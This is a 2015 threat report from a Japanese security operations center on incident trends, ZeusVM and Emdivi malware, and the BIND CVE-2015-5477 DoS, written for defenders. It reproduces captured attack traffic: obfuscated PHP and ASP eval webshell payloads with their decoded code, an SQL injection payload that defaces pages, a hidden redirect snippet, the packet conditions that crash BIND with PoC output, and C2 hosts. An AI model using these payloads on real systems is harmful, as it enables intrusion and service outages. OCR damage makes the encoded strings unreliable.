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1 Preface

The Japan Security Operation Center (JSOC) is a security monitoring center operated by
LAC Co., Ltd. that provides security monitoring services, such as "JSOC Managed Security
Services (MSS)" and the "24+ Series.” The JSOC MSS maximizes the performance of
security devices through unique signatures and tuning, and our security analysts, with their
expert knowledge, analyze logs from security devices in real time, 24 hours a day, 365 days
a year. In this real-time analysis, the security analysts pour over communication packets in
detail, down to their content level, as well as diagnose whether monitored objects are
affected and whether there are any vulnerabilities and other potential risks, for every
occasion, all in order to minimize misreporting from security devices. We help our customers
to improve their security level by reporting only critical incidents needing an emergency
response in real time and by taking action against attacks in the shortest time possible.

This is an analysis report on the trend of security incidents, such as unauthorized access
and malware infection, in Japan, based on the daily analysis results of our JSOC security
analysts. As this report analyzes the trend of attacks, based on the data of incidents that
JSOC customers have actually encountered, the report will aid the understanding of world
trends, as well as the actual threats that Japanese users are currently facing.

We really hope that this report will provide our customers with useful information that can be
made full use of when implementing countermeasures to improve security.

Japan Security Operation Center
Analysis Team

Data collection period
July 1, 2015 to September 30, 2015

Devices used
This report is based on data from security devices supported by the LAC-supplied
JSOC Managed Security Services.

* This document is for information purposes only. LAC Co., Ltd. takes no responsibility for any loss resulting from using
this document.

* When using data from this report, be sure to cite the source. (For example, “Source:

JSOC INSIGHT, vol. 10, from LAC Co., Ltd.”)

* The information contained in this document is as of the initial publication of this document and may be changed by the
time it is viewed or provided.
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Executive Summary

This report shows the analysis of the trends in the incidents that occurred from July to
September, 2015, and introduces especially notable threats.

» Relationship between increasing exploit kits and ZeusVM

A tool kit, the Angler Exploit Kit, which attempts system intrusion, has been causing
increased traffic infected with "ZeusVM". ZeusVM-infected hosts of various customers
have been connected to the same C2 server during the same period, and the effect of
blacklist-based countermeasures has been limited because such a change occurred
during a short period of time.

The "Emdivi" malware reportedly used in the Japan Pension Service information
leakage incident was detected during the same period as that of an increase in the
number of incidents of misdirection to an incorrect site with exploit kits and other
malware types. The Emdivi infection route has not yet become known. The expansion
of infection may be due to targeted attacks using email as well as watering hole and
other types of attacks altering websites. Emdivi has decreased and has not been
detected since the end of last July.

DoS vulnerability found in BIND (CVE-2015-5477)

A vulnerability in BIND that lets services be stopped externally was disclosed. JSOC
has not detected any traffic attack that exploits this vulnerability, but it will be exploited
very easily, because its proof-of-concept code is already disclosed. Any vulnerable
versions will be affected by attack, irrespective of BIND configuration, and those
versions should be updated as quickly as possible.

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.10 3



3 Trends in Severe Incidents at the JSOC

3.1 Trends in severe incidents

Our security analysts at the JSOC pour over the logs detected by IDS/IPS, sandboxes, and
firewalls, and assign one of four incident severity levels according to the nature of incident
and the degree of impact that the incident has on monitored targets. Of the four severity
levels, Emergency and Critical indicate severe incidents for which the likelihood of a
successful attack occurring or causing serious damage is high.

Table 1 Incident severity levels

Type Severity Description ‘
Emergency Incident for which a successful attack is confirmed

Severe incident Incident for which the likelihood of a successful attack is high or for which a
Critical failed attempt at an attack is not confirmed

This indicates that the incident is due to malware infection.

Incident for which a failed attempt at an attack is confirmed or no real

Warning damage is confirmed

Reference

incident in tional Incident that does not trigger an attack causing any real damage and has no
nrormational significant impact, such as scanning

Figure 1 shows the changes in the number of severe incidents from July to September 2015.
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Figure 1 Changes in the number of severe incidents (July to September 2015)

As a severe incident that occurred in an intra-network, traffic infected with the Emdivi
malware reportedly used in the Japan Pension Service information leakage incident was
detected from last June until the middle of last July* ([1]) in Figure 1). Such traffic incidents
have decreased and have not been detected since the end of last July. Since the end of last
August, traffic deemed to be infected with a Zeus variant, "ZeusVM", which targets Internet
banking information, has been detected for multiple customers.

The number of severe incidents related to attacks from the Internet increased sharply
between the second week and fourth week of July 2015 ([2] in Figure 1). This sharp
increase is due to similar attacks made by multiple attackers against the vulnerable hosts of
certain customers.

' JSOC INSIGHT vol.9 4.1 "Malware infection as a targeted attack"
http://www.lac.co.jp/security/report/pdf/20151022 jsoc_0001t.pdf
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Until several years before, there was an increase in attack traffic mainly originating from
China on or around the Japanese anniversary of the end of the war (August 15) or around
the date of the Liutiaohu Incident, which triggered the Manchurian Incident (September 18).2
However, the last year also did not see such a phenomenon or any significant change in the
trend of the attacks detected ([3] in Figure 1).

3.2 Analysis of severe incidents

Figure 2 shows a breakdown of severe incidents that occurred in intra-networks.

In the number of severe incidents that occurred in intra-networks, the period from July to
September 2015 saw a significant decrease (212 down from 400) as compared to the period
from April to June 2015. This is due to countermeasure implementation completed at the
end of last May, although malware infection continued from April to June for certain
customers. The number of severe incidents in general decreased, but many suspicious
traffic instances deemed due to Emdivi infection (until the middle of last July, as shown in [2]
of Figure 2) and ZeusVM infection (since the end of last August, as shown in [1] of Figure 2)
were detected.

Attack
against
Others
external Others Zeus 39 incidents
host 73 incidents GRS _ ¥l -4 »
10 incidents 1
incidents 22/TCP scan
foe 6 incidents /e = === >
Mudrop Total P Aerah 1] Zi
30 incidents 200 Mariposa Citadel 13 incidents Tzoltgl [ ]mius
incidents 77 P o
il incidents Attack incidents incidents
Emdivi, etc. externa
39incidents @ = = = = = = === = = =/~ 15 inci 2] Emdivi
. G,
445/TCP Citadel | I | 35
scan A7 incidents
39 incidents incidents

a. April to June 2015 b. July to September 2015
Figure 2 Breakdown of severe incidents that occurred in intra-networks’

* The item "Emdivi, etc." includes other targeted attack types.

Figure 3 shows a breakdown of severe incidents related to attacks from the Internet.

The number of severe incidents related to attacks from the Internet between July and
September 2015 (289 incidents) is almost the same as that between April and June 2015
(287 incidents). However, there were changes in the breakdown, and the number of
HeartBleed attacks increased ([1] in Figure 3), while that of suspicious file upload attacks
decreased ([2] in Figure 3).

This HeartBleed attack increase is attributed to the fact that a specific customer had a
vulnerable host and similar attacks were repeated against that host. Attacks from the
Internet are often similar attacks made by multiple attackers against targets already known
to be vulnerable. Once a host is known to be vulnerable, it is necessary to take
countermeasures as quickly as possible without leaving the vulnerability.

% Alert on Cyber-attacks Related to September 18
http://www.lac.co.jp/security/alert/2013/09/12 alert 01.html
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a. April to June 2015 b. July to September 2015
Figure 3 Breakdown of severe incidents related to attacks from the Internet

3.3 Attack traffic that has been detected numerous times

This section introduces noteworthy attack traffic detected by JSOC between July and
September 2015.

3.3.1 Hosts that allow SNMP queries from the Internet

Since July 2013, DDoS attacks® have been increasing. These attacks consist of reflector
attacks that exploit misconfigured public UDP services such as DNS and NTP. Such
exploited UDS services include SNMP services used for operation monitoring. Reportedly,
the size of a response to a request (that is, the amplification factor) for an SNMP service
reached as high as approx. 650.*

JSOC has not so far detected any customer host exploited as a stepping stone for SNMP
DDoS attacking. However, JSOC has detected hosts with an SNMP service misconfigured
to unintentionally allow SNMP query from the Internet. In such a case, an SNMP service
was unintentionally running on a router or switch and was made public to the Internet. It is
necessary to check the SNMP service configuration of routers and switches to make
appropriate access control so that no unsolicited request is accepted from the Internet.’
With a future expansion of 10T, this type of misconfiguration will increase and may occur not
only in devices such as routers, but also in other types of devices. It is important to know the
operating status of every loT product connected to the Internet, to check them for
misconfigurations, and to make sure that appropriate access control is in place.

3 JSOC INSIGHT vol.4 4.1 "Increasing DoS attacks that exploit public services"
http://www.lac.co.jp/security/report/pdf/20140722 jsoc_j001t.pdf

* Understanding and mitigating NTP-based DDoS attacks
https://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks/
> Alert on SNMP Reflector Attacks
http://www.npa.go.jp/cyberpolice/detect/pdf/20141126.pdf
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3.3.2 Code execution attempts against a variety of content management
system (CMS) applications
JSOC has detected many code execution attempts against files used for various CMS
applications and backdoor files installed after attacking. Table 2 shows examples of URLs
targeted by such attacks, and Figure 4 shows examples of such attack traffic.

Table 2 Examples of URLs targeted for code execution attempts

Possible
Targeted URL targeted CMS

/

/bbs/utility/convert/data/config.inc.php phpMyAdmin
/cache/label/909.php

/data/cachel/t.php DedeCMS
limages/swfupload/images/uploadye.php DedeCMS
/include/code/mp.php DedeCMS
/logo/1.php

/member/feedback.php DedeCMS
Iplus/90sec.php DedeCMS
/plus/ad_js.php?aid=8888 DedeCMS
Iplus/mytag_js.php?aid=511348 DedeCMS
ltemplets/plus/sky.php DedeCMS
Jutility/convert/include/rom2823.php phpMyAdmin
/wp-admin/js/edit.php WordPress
I/xiaolei.php

/Ac2.asp;.jpg

/miaojcx.asp;.jpg

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.10 7




Stream Content

POST /plus/ ag_js.php?aid=511348 HTTP/1.1
Host:

Accept: */%

Content-Length: 218

Content-Type: application/x-www-form-urlencoded

51134 8=@eval (baseftd4_decode($_POST

[z0])); &z0=0GTuav9zZXQoImRpC3BsYX1fZXIyb31zIiwiMCIpo0BzZXRTdG1tZVIsawl pdCgwK TTAC2VOX21hZ 2
1§%3F1b3R1c19ydw50awl TKDAPO2V] aG80I10%

2efcIpoztwemludCgiaGFvemvuIik702vjacBoInwiL SIpO2RpZ Sgpow==]

a-1 Attack traffic to display a particular character string

@ini_set("display_errors","0"); @set_time_limit(0);
@set_magic_quotes_runtime(0);echo("-
>|");;print("haoren™); ;echo("|<-");die();

a-2 Decoded code

Stream Content

POST /ivycpcx.asp:.j HTTP/1.1

Host:

Accept: */*

Content-Length: 689

Content-Type: application/x-www-form-urlencoded

ji=eval("Ex"%26cHr (101)%26" cute(" " "Server. ScriptTimeout%3D03600 :0n+Error+Resume

+Next :Function+bd®28byval+s%29%3AFor+i%3D1+To+Len%28s%2 0+ 5t ep+2%3Ack3DM I d%28s%2CT%2C 2%2 9%
3ALT+IsNumeric¥%28Mid¥28s%2C1%2C1%29%2 9+ Then%3AEXecUTe%2 8%22%22%22%22bd%3Dbd%2 6chric2 8%26H%
22%22%22%22%26C%26%22%22%22%22%29%22%2 2%2 2%2 2%29%3AE 1 s e%3AEXeCUT e%2 8%2 2%2 2%22%2 2bd%3Dbd%
26chrX%28%20H%22%22%22%22%26C%26M1 d%285%2C1 %2B2%2C2%29%26%22%22%22%2 2%2 9%2 2%2 2%2 2%2 2%2 9%
3AT%IDIHZE2%IAENd+ ITH22%22%26chr %281 0%29%26%22%2 2Next%3AENd+Function: Response. Write(""""-

=Y e "R26CHr (101)%26  cute (" " ON+Error+Resume+Next U " %2 6bd
(" 526573706FEET3652E5772697465282268616F72656E2229" ")) :Response. Write (""" |
<-"""") :Response.End" ") ")

b-1 Attack traffic using an On Error statement to display a particular character string

jj=eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:0n Error
Resume Next:Function bd(byVal s):For i=1 To Len(s) Step
2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1))
Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""
bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End
If""&chr(10)&""Next:End Function:Response.Write(""""-
>|")EX"&eHr(101)&" cute(""""On Error Resume
Next:""""&bd(""""526573706F6E73652E5772697465282268616F72
656E2229"""")):Response. Write(""""|<-""""):Response.End"")")

b-2 Decoded code

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.10 8




Stream Content

vales=%40eval%2FH%2A%2A%2FX01%2 8% 24%5FPOSTR Bz 9% DM2F %2 A% 2 A%2FR01%2 8% 24%5FPOSTH5EZ0%5D%29%
29%

3B&z0=NjI1MzMwOOBpbm] T c2VOKC JkaxXNwbGF 5X2VvycmOyCcyIsIjATKTTAC2ZVOXIRpbwvbGl taxgomck7QHNTdF 9
tYwdelgxdwgozxmfcnvudG1tstWKTt1Y2thc1tin1KTs?JEQ9251ybmthsgkxleu1ZFU1sﬁuONSSVBuxUZJ
TEVOQULFIT0p0o2 ImKCREPTOd I1kkROLkaxIuywl TKCRFUOVSVKVSWY IQQVRIX1IRSQUSTTEFURUQIXSk7 JHIvb309a
XNZZXQoJIFITRVIWRVIbIORPQLVNRUSUXLIPT1QNXSkKS:
2FIF9TRVIWRVIbIORPQLVNRUSUX1LIPTIQNXTo0aXNZZXQ0I1F9TRVIWRVIbIOFQUEXFUEhZUOTDQUXTUEFUSCAAKTS
OcmTtKCRFUOVSVKVSWydBUF BMXLBIWVNIQOFMX1BBVE gnXSwiXFwiKTooaXNzZXqoIF9b11BBVERTVF IBTT1NMQVRF
RCAdKTIzdHIfcmvwbGFjZSgkX1INFUTZFUTs 1 UEhQXINFTEY1XSk6C3RyX3 11 cGxhy2Uoc3RyX311cGxhyY2UoIi8iL
CICXCISaxXNZZXQolF9TRVIWRVIbBITEIUF9TRUXGI | OpPyRTUOVSVKYSWyIQSFETUOVMRT 1d0oihpcInTdCgkxdInFU
ZFUTsivvIMITOpPyREUOVSVEYSWY IWUkwi XTokXINFUIZFUTsiUONSSVBUX0SBTUL I XSKkpLCIiLG] zc 2VvOKCRTUOV
SWkVSWy IQQVRIX1RSQUSTTEFURUGT XSk
2FIFOTRVIWRVIBITBEVERTVFIBTTNMOQVRFRC 1d0iRFUOVSVKVSWYITQL I JUFRTRE IMRUSBTUUTXSKpKTskUjOieyR
EfxwiLiRyb290L118IjtpZihzdwWlzdHIOIEQSMCWXKSEST181KxXtmb3 11 YWNoKHIhbmd 1KCIBT wiwWiIpIGFzICRM
KwmkG]zX2RpcigieyRMTTo1KSkkUi49InskTHO6IJt9IFIuPSI8IjskdT0o0Znvuy3Rpb25fZxXhpc3RzKCdwb3Npe
FONZXR1Z21kIykpPOBwb3NpeFInZxXRwd BVpZChAcGQzathZZVOZXVpZCEEKTonJ zskdxNyPSgkdsks
2FIHVbI25hbwunxTpaz2v0x2N1cnd TbnrRFdxN1cigpoyRSL jlwaHBT dwShbwuokTskui49Iih7 JHVZCnOpI jtwem]
udcakujs7ZwNobygifowtIik7ZG1 1KCk7 &z9=BaSEG4 %S|

c-1 Attack traffic to output information such as user ID (partial)

@ini_set("display_errors","0"); @set_time_limit(0);@set_magic
_quotes_runtime(0);echo("-
>|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D==
"M$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}
¥t"."-|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as
$L)if(is_dir("{$L}:"N$R.="{$L}:"; F$R.="¥t"; Su=(function_exi
sts('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):";$
usr=($u)?$u['name']:@get_current_user();$R.=php_uname()
;$R.="({$usr})";print $R;,;echo("|<-");die();

c-2 Decoded code
Figure 4 Example of attack traffic that targets a CMS

As shown in Figure 4, attackers use various codes to display a particular character string or
to obtain server configuration information.

A CVE or other vulnerability information related to this type of attack has not yet been
identified, but JSOC has detected many attacks against files and folders included in widely
used CMS applications such as phpMyAdmin, DedeCMS, and WordPress, as well as
backdoor files installed after attacking. As this type of attack traffic has been detected
irrespective of the use of the target Web application or the existence of a backdoor file, it
may be an attack traffic type that uses a tool to check for vulnerabilities or that uses a
backdoor to exploit a host.

Although no damage incident has been reported so far, it is necessary to make sure of the
following points again for server and application software running on a public server.

The management network has no unwanted public server.

The public servers have no unwanted content.

The software versions used have no vulnerability.

The Web applications used have no vulnerability.

The public servers have no suspicious file or process.

OOoooo
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3.3.3 SQL injection attacks designed to alter Web pages

Many SQL injection attacks designed to alter Web pages were detected. Figure 5 shows an
example of such attack traffic.

Stream Content

GET /I ) ; dec ] are%20&c%20cursor; declareX20@d%20var char
(4000); set%20@c=cursor%20for%20select®20 updateX%20%56 "%2BTABLE_NAMEX2B "%50%205et%20%5B "%
2BCOLUMN_NAMEZ2B "%5D=%58 "%2BCOLUMN_NAMEZ%2E '%5D%2BCase®20ABS (CHECKSUM (NewId () ) )%257%20when
%200%20then20 " " "%2Bchar (60)%28 ' 'div¥20style=%22display:none%22 " "%2Bchar (62)%2B" "married
%20cheaterss20’ "%2Bchar (60)%2B ' "a%20href=522http: ' "%2Bchar (47)%2Bchar (47)%2B" "
' "%2Bchar (47)%26" T ' '*2echar (47)%28" 'page’ "%2Bchar (47)%2B6 "
! e%20ABS(CHECKSUM(NewId () ) )%253%20when%200%20thend%

20" ' %20whens201%20then%20" "read¥%20here’ "%20e15e%20" "reads
20here’ "%20end¥20%26char (60)%2Bchar (47)%28" "a ' "%2Bchar (62)%2B8" "%20 "

2Bchar (60)%2Bchar (47)%28" "div" "%2Bchar (62)%28° " " "%20else%20 " " "%20en FROM
20sysindexes%20A5%201%20INNER%20I0IN%20sysobjects%20A5%200%200N%201 . 1d=0. 1d%20INNERS%
20]0IN%20INFORMATION_SCHEMA. COLUMNS%200N%200. NAME=TABLE_NAME%2 0WHERE (indid=0%200r%
200 ndid=1)%20and%20DATA_TYPE%201ike%20 '%25varchar "%20and (CHARACTER_MAXIMUM_L ENGTH=-1%200r
%20CHARACTER_MAXIMUM_LENGTH=2147483647); openk20&c; fetch®20next%20froms208c%201 nto%

20@d; whileX%208EFETCH_STATUS=0%20begin%20exec%20(@d); fetch®20next%20fromé208C%201 Nt o%
20&d; end; close¥20@8c-- HTTP/1.1

Figure 5 SQL injection attacks designed to alter Web pages (partial)

The period around 2008 saw many detections of SQL injection attacks designed to alter
Web pages, including a declare clause. These attacks attempted to infect users accessing
an altered site with malware by embedding a link that forwards the user to a malicious site.°
On the other hand, URLs embedded by SQL injection attacks this time had no consistency
in their destinations, which included sites advertising a drug or other products, or blog
articles claiming a certain principle or advocacy, thus it is considered to be unlikely they
were designed to infect such accessing users with malware. In addition, such attack traffic

detected by JSOC had almost no variation in any part other than the embedded target URL,
thus it is considered that attackers used a particular tool.

6 Intrusion Trend Analysis Report vol. 12
http://www.lac.co.jp/security/report/pdf/20090316_jsoc_mO1m.pdf
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3.3.4 Attack traffic that uses a vulnerability scan tool

The period between July and September 2015 saw many attack traffic incidents that
checked for Web server vulnerabilities from the Internet. It is considered that these attacks
used a publicly available vulnerability scan tool to cause an increased amount of attack
traffic. In some of the attacks, the vulnerability scan was repeated for a specific target over
several days. This resulted in indirect damage such as increased Web page browsing
difficulties. Even if there is no vulnerability in the environment, load on the target will be
increased by receiving a significant number of attacks over several days.

Table 3 shows examples of the source IP addresses used for vulnerability scan traffic
detected between July and September 2015.

Table 3 Examples of typical attacking source IP addresses used for
vulnerability scan traffic

Attacking source
IP address SRl

52.10.227.107 U.S.A
66.154.123.7 Canada
117.21.176.17 China
180.97.106.36 China
180.97.106.37 China
180.97.106.161 China
180.97.106.162 China
182.118.33.7 China
122.212 XXX XXX Japan
125.252. XXX. XXX Japan

These IP addresses include those domestic to Japan. None of the domestic IP addresses
consisted of a host address used to provide a security diagnosis service, thus it is suspected
that the addresses were hijacked and exploited by attackers.

A recommended countermeasure against such attack traffic is to diagnose the vulnerability
of a public server and fix any vulnerability if such exists.

An attacker may repeat attack traffic over an extended period of time, for example, by
performing a vulnerability scan over several days. To protect against such an attack, it is
recommended to use an appropriate network device such as a firewall, according to the
actual environment, in order to shut off traffic originating from a source listed in Table 3.

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.10 11



4 Topics of This Volume

4.1 Relationship between increasing exploit kits and ZeusVM

4.1.1 Relationship between increasing detections of exploit kits and

ZeusVM

An “exploit kit” generally refers to a tool kit that attempts system intrusion, and it implements
a code that exploits a vulnerability in software, such as Oracle Java Runtime Environment
(JRE) or Adobe Flash Player, for attacking. If the exploit kit succeeds in attacking, malware
download will commence.

Figure 6 shows an example of a website altered by embedding an iframe tag to redirect to
an exploit kit.

If an official website or advertisement contains incorrect code to leads to a host where an
exploit kit is installed, the user of the website will be unintentionally misled and infected with
malware by the exploit kit built in to the destination. Such exploit kits include Angler, Nuclear,
and Zuponcic.

<body class="blog"><script>var date = new Date(new Date().getTime() + 60*60*24*7*1000);

document.cookie="PHP_SESSION_PHP=228; path=/; expires="+date.toUTCString();</script>

<style>.hggsisledpzcxwg{position:absolute;top:-2678px}</style><div class="hggsisledpzcxwg">
http://

</div>

Figure 6 Website altered by embedding an iframe tag to redirect to an exploit kit
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Figure 7 shows the number of exploit kit detections. Figure 8 shows the number of
characteristic Emdivi and ZeusVM detections between June and September 2015.

160 —
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Figure 7 Changes in the number of exploit kit detections
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Figure 8 Changes in the number of ZeusVM and Emdivi detections

Since the beginning of July 2015, JSOC saw a sharp increase in the number of detections of
connections to hosts where an Angler Exploit Kit, an exploit kit variant, was installed ([1] in
Figure 7). This is considered to be partly attributed to an Angler Exploit Kit that used
vulnerabilities, such as the Adobe Flash Player zero-day vulnerability (CVE-2015-5119),”
after information leakage for multiple vulnerabilities due to a July 5 cyber-attack against an
Italian security company, known as "Hacking Team".

" "Hacking Team" information leakage incident: Flash Player zero-day vulnerability "CVE-2015-5119"; confirmed to have
been added to multiple exploit kits
http://blog.trendmicro.co.jp/archives/11877
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Since the middle of August, JSOC also saw a sharp increase in traffic infected with the
"ZeusVM" malware targeting authentication information for Internet banking ([1]) in Figure 8).
This is highly likely due to the Angler Exploit Kit used as an infection route, as the number of
Angler Exploit Kit detections increased in a similar way, as shown in Figure 7.

During this period, it was also confirmed that multiple customers were infected with the
Emdivi malware reportedly used in the Japan Pension Service information leakage incident.
Although no Emdivi infection route has yet become known, some infections may occur via a
website altered by a watering hole attack, etc.,® while most are considered to be due to the
execution of a file attached to suspicious email. This is because these Emdivi infections
coincided with a sharp increase in the number of incidents that led to an incorrect site, such
as an exploit kit ([2] in Figure 8).

Since August, no Emdivi-infected traffic has been detected. That is, due to the completion of
countermeasure implementation in Emdivi-infected terminals, no new infection has
subsequently appeared. However, customers should be cautious that the malware may
have a variant.

4.1.2 Behavior and characteristics of ZeusVM traffic

Zeus is a type of malware that targets authentication information for online banking. As
described above, JSOC has seen an increasing number of detections of malware called
"ZeusVM", which is a variant of Zeus.

Figure 9 illustrates what occurs when traffic is infected with ZeusVM.

ZeusVM obtains an image file containing malware configuration information when the
infected terminal is connected to the C2 server ([5] in Figure 9). The file is seemingly an
ordinary image file, but it uses a technology called “steganography” to secretly embed
suspicious code at the end of its binary data. It is difficult to notice this, as the file seemingly
contains a normal image.

® Targeted attack that exploits the Flash Player zero-day vulnerability "CVE-2015-5119"; confirmed in Japan
http://blog.trendmicro.co.jp/archives/11944
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[1]Accessing the altered site or advertisement

Top page altered by
embedding a suspicious
iframe in the source

2]Leading the client to the site embedded
with the iframe

I
-4 37“ — e
3]Leading the client to

malware download through vulnerability
exploitation

4]infected

| Malicious HTTP server |

[5]Downloading a JPEG file, such
as config.jpg

C2 server prepared by the attacker ]

Figure 9 Flow of what occurs when traffic is infected with ZeusVM

Figure 10 and Figure 11 show examples of traffic requesting an image file and obtaining
ZeusVM configuration information embedded in the image file.

GET /ewibot/server/config. jpg HTTR,/1.1

ACccept: ®/*%

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE B.0; windows NT 5.1;

mrident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)
Host:

iCache-Control: no-cache

Figure 10 Example of traffic that requests an image file containing configuration information

ﬁ ....... O.......... Zo( (. N—. .. ... vic. dyN. 58@ D, b4.\..@.0
SHoL& LA &l T T | R © - [ N T L O N e

byIropBulyYgoPFINAZzwoblTiMzVd/

HoHGsreuTok0sUSt8p8grdl Jc44quTDPqu0rAngm'l WJWAYPUfSOLkgdxMVWVt SXFNOAUQQXL3hwe
rwvlc7oxeegkep0Bwv2pa8a5zhkkl1902Pkat0 5036mggATu

Figure 11 Example of traffic that obtains a ZeusVM configuration file
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Table 4 and Table 5 show the IP addresses or host names of C2 servers that

ZeusVMe-infected hosts were connected to.

As far as JSOC-detected malware types are concerned, the destination of connection
usually differs between malware variants, even if they are of the same kind. On the other
hand, ZeusVM-infected traffic has a noticeable characteristic in which various infected hosts
were connected to the same C2 server during the same period. These C2 servers were
changed during a short period, but most of the destination IP addresses belonged to Russia.
Furthermore, JSOC investigation implies that most of these destination hosts were hosting
service providers' servers and that these servers did not run official Web content. It is
guessed that the Web servers were not hijacked by an attacker and that they were rented
for use as C2 servers.

These findings may indicate that those traffic infections detected by JSOC were caused by
the same malware type, and that an attacker used a hosting service as a C2 server for that
malware type and repeatedly changed host names and IP addresses during a short period.
This may be why the effect of blacklist-based countermeasures was limited.

Table 4 Destination information for JSOC-detected infected terminals
Destination IP Destination host

Country

address EE

151.248.112.123 anla.su

151.248.114.212 -

185.20.227.69 tianfu.su

194.58.92.172 renpin.su Russia
194.58.98.203 guns88.ru

194.58.103.199 atmape.ru

194.58.108.18 —

kanatchaw.com

zogofader.com
- : Unknown
tarinbarse.com

clepmedic.com
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Table 5 Changes in destinations for infected terminals

151.248.112.123
151.248.114.212
185.20.227.69
194.58.98.203
194.58.103.199
194.58.108.18
anla.su
atmape.ru
clepmedic.com
gquns88.ru
kanatchaw.com
renpin.su
tarinbarse.com
tianfu.su
zogofader.com

23456789 1617 18 [19/[20] 2122 23 24 25| :-/31[1 2 3 (a5 6 7 B 1213 1415 2526 ‘
D
S D
“G—>
&}
= > )

(%]

@ e
—>
—

Figure 12 and Figure 13 show images used in ZeusVM configuration files and their binary

data.
Seemingly, these images are little suspicious. Therefore, it is very difficult to determine that

the images shown in Figure 13 are suspicious.

Figure 12 Images used by ZeusVM
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Figure 13 Binary data of images used by ZeusVM

4.1.3 Countermeasures against infection by ZeusVM and other malware

types that target online banking

Damage due to illegal money transfers in online banking has been on the rise,® and
individuals and organizations are targeted. Especially, damage to organization accounts has
been on a sharp rise. To prevent such damage, it is important to take the following
countermeasures:

Recommended countermeasures

o Keep the definition file for anti-virus software up-to-date.

o Keep the operating system and application software up-to-date.

o Keep a record of the correct URL of your bank, and always use that URL to access the
bank.

o Install EMET, which is available from Microsoft Corporation.

Recommended preventive measures are detailed in the Guidebook for Countermeasures
against Targeted Attacks,'® published by LAC. Refer to this guidebook.

Terminal operation-related measures

o Use illegal money transfer prevention software, available for your Internet banking.
o Use a one-time password or token, available for your Internet banking.

° 2016 First-Half lllegal Money Transfer Crimes Related to Internet Banking
https://www.npa.go.jp/cyber/pdf/H270903 banking.pdf

' Guidebook for Countermeasures against Targeted Attacks
http://www.lac.co.jp/anti-apt/quidebook/
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Business operation-related measures

o Do not use the same authentication information for multiple sites.

o Use password management software.

o Use different terminals for Internet browsing or email and for Internet banking.

o Check and ensure what is to be reported and to whom, along with the procedures involved,
so that the affected accounts and services can be stopped as quickly as possible, in case
of damage.

o Keep yourself updated with up-to-date information regarding security incidents by
checking security information, news, and bank sites.

Other damage reduction methods
o Reduce your transfer limit to the minimum required amount.
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4.2 DoS vulnerability found in BIND (CVE-2015-5477)

4.2.1 Overview of the denial-of-service vulnerability in BIND
It was disclosed that BIND widely used as a DNS server had a denial-of-service (DoS)
vulnerability (CVE-2015-5477). Certain versions of BIND have the vulnerability in their TKEY
function for keys exchanged between hosts, which externally causes the BIND process to
be terminated abnormally.
This vulnerability can be exploited in any BIND system regardless of its configuration, and
can affect both content servers and full resolvers. The BIND versions with this vulnerability
are listed below.

[1BIND 9.1.0t0 9.8.8
| BIND 9.9.0t0 9.9.7-P1
1 BIND 9.10.0 t0 9.10.2-P2

4.2.2 Testing attack traffic that exploits the vulnerability
Figure 14 shows a DNS request that exploits the vulnerability to terminate a BIND process.
As a result of testing, JSOC has confirmed that, when the BIND process receives an
external request that exploits the vulnerability, the BIND terminates its process and denies
any service.

The request conditions for a successful attack are shown below. If these conditions are met,
a vulnerable BIND will fail to initialize its variables in its TKEY processing, causing the
termination of the BIND process.

mRequest conditions for a successful attack

- The query type is TKEY (with any name).
- An extended record is used, and its type is other than TKEY (such as A, TXT, or NULL).
- The name of the query matches that of the extended record.

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.10 20



= Domain Name System (guery)
Transaction ID: 0x0001
F Flags: 0x0000 Standard query
Questions: 1
Answer RRs: 0
Authority RRs: O
additional RRs: 1
= Queries
= aaa: type TKEY, class IN
Name: aaa
Name Length: 3]
[Label Count: 1]

I*Ee: TKEY (Transaction Key) (249)
Class: IN (0x0001)
= additional records
= aaa: type A, class IN, addr 0.0.0.0
Name: aaa
e: A (HosT Address) (1)
Class: IN (0x0001)
Time to live: 0
Data length: 4
Address: 0.0.0.0 (0.0.0.0)

Figure 14 DNS request that exploits the vulnerability

Figure 15 shows part of an attacked BIND log.

If BIND receives an attack that exploits the vulnerability, the BIND log (/var/log/messages by
default) will contain a message of “assertion failure", indicating that BIND terminated
abnormally because it could not meet a condition necessary for normal operation.

message.c:2311: REQUIRE(*name == ((wvoid *)8)) faliled
exiting (due to assertion failure)

Figure 15 Attacked BIND log

For this vulnerability, a proof-of-concept code that can be executed easily is available, and
with the code, JSOC has confirmed that a BIND process can be remotely ended (Figure 16).
As of October 1, 2015, JSOC has not detected such an attack, but a domestic service
provider in Japan has reported damage due to this type of attack.'*

"[Urgent] BIND 9.x Vulnerability (DNS Service Shutdown) (July 29, 2015)
http://jprs.jp/tech/security/2015-07-29-bind9-vuln-tkey.html
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root@jsoctest:~# /| .ry 192.168.1.144

--- PoC for CVE-2015-5477 BINDS TKEY assert DoS ---

[+] 192.168.1.144: Resolving to IP address

[+] 192.168.1.144: Resolved to multiple IPs (MNOTE)

[+] 192.168.1.144: Probing...

[+] Querying wversion...

[+] 192.168.1.144: "9.8.2rcl-RedHat-9.8.2-0.17.rcl.elB"
[+] Sending DoS packet...

[+] Waiting 5-sec for response...

[

+] timed out, Erobablg c rashed

root@jsoctest:~#

Figure 16 PoC code execution result

4.2.3 Countermeasures against attacks that exploit the vulnerability
The recommended countermeasure for this vulnerability is to apply an appropriate update,
available from the vendor.

Support for BIND version 9.8 and earlier has already been discontinued, so no patch for this
vulnerability is available. If you use an older version, you should replace it with the 9.9
version or higher as quickly as possible.
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5 Conclusion

Much like what the word "INSIGHT" itself implies, JSOC INSIGHT focuses on providing
information on threats that our JSOC security analysts come across from time to time and
believe to be worth noting.

